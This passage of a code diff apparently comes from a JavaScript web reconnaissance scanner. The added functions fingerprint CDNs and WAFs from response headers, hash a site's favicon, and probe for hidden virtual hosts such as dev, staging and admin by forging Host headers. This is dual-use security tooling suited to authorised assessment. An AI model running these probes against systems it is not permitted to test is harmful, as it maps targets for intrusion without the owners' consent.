+ if (headers['x-vercel-cache']) return 'Vercel Edge';
156
+ if (headers['x-nf-request-id']) return 'Netlify';
157
+ if (headers['server']?.includes('KeyCDN')) return 'KeyCDN';
158
+ if (headers['server']?.includes('bunny')) return 'BunnyCDN';
159
+ return null;
160
+ }
161
+
162
+ function detectWaf(headers, body) {
163
+ if (headers['cf-ray'] && headers['cf-mitigated']) return 'Cloudflare WAF';
164
+ if (headers['x-sucuri-id']) return 'Sucuri WAF';
165
+ if (headers['x-powered-by-anquanbao']) return 'Anquanbao WAF';
166
+ if (headers['x-wa-info']) return 'AWS WAF';
167
+ if (headers['server']?.includes('Wordfence')) return 'Wordfence';
168
+ if (headers['server']?.includes('BigIP') || headers['x-cnection']) return 'F5 BIG-IP';
169
+ if (headers['x-denied-reason'] || headers['x-dotdefender-denied']) return 'dotDefender';
170
+ if (body.includes('mod_security') || body.includes('ModSecurity')) return 'ModSecurity';
171
+ if (body.includes('access denied') && body.includes('incapsula')) return 'Imperva Incapsula';
172
+ if (headers['server']?.includes('AkamaiGHost')) return 'Akamai Ghost';
173
+ if (headers['x-protected-by']?.includes('Sqreen')) return 'Sqreen';
174
+ return null;
175
+ }
176
+
177
+ async function getFaviconHash(origin) {
178
+ try {
179
+ const resp = await fetchWithTimeout(`${origin}/favicon.ico`, {}, 5000);
180
+ if (resp.status === 200) {
181
+ const buffer = await resp.arrayBuffer();
182
+ const b64 = Buffer.from(buffer).toString('base64');
183
+ const hash = crypto.createHash('md5').update(b64).digest('hex');
184
+ return hash;
185
+ }
186
+ } catch {}
187
+ return null;
188
+ }
189
+
190
+ async function getTlsInfo(origin) {
191
+ if (!origin.startsWith('https://')) return { secure: false };
192
+ return { secure: true, protocol: 'TLS' };
193
+ }
194
+
195
+ async function vhostDiscovery(origin, baseSize, spinner) {
196
+ const vhosts = ['dev', 'staging', 'internal', 'admin', 'api', 'test', 'beta', 'old', 'backup'];
197
+ const hostname = new URL(origin).hostname;
198
+
199
+ for (const vhost of vhosts) {
200
+ try {
201
+ const testHost = `${vhost}.${hostname}`;
202
+ const resp = await fetchText(origin, {
203
+ headers: { Host: testHost },
204
+ }, 3000);
205
+
206
+ if (resp.status === 200 && Math.abs(resp.body.length - baseSize) > 100) {
207
+ addFinding(
208
+ 'MEDIUM',
209
+ 'Probe (httpx)',
210
+ `Virtual host responds differently: ${testHost}`,
211
+ `Host header ${testHost} returns different content (size diff: ${Math.abs(resp.body.length - baseSize)}B)`,
212
+ 'Virtual host may expose internal applications. Investigate further.'
213
+ );
214
+ }
215
+ } catch {}
216
+ }
217
+ }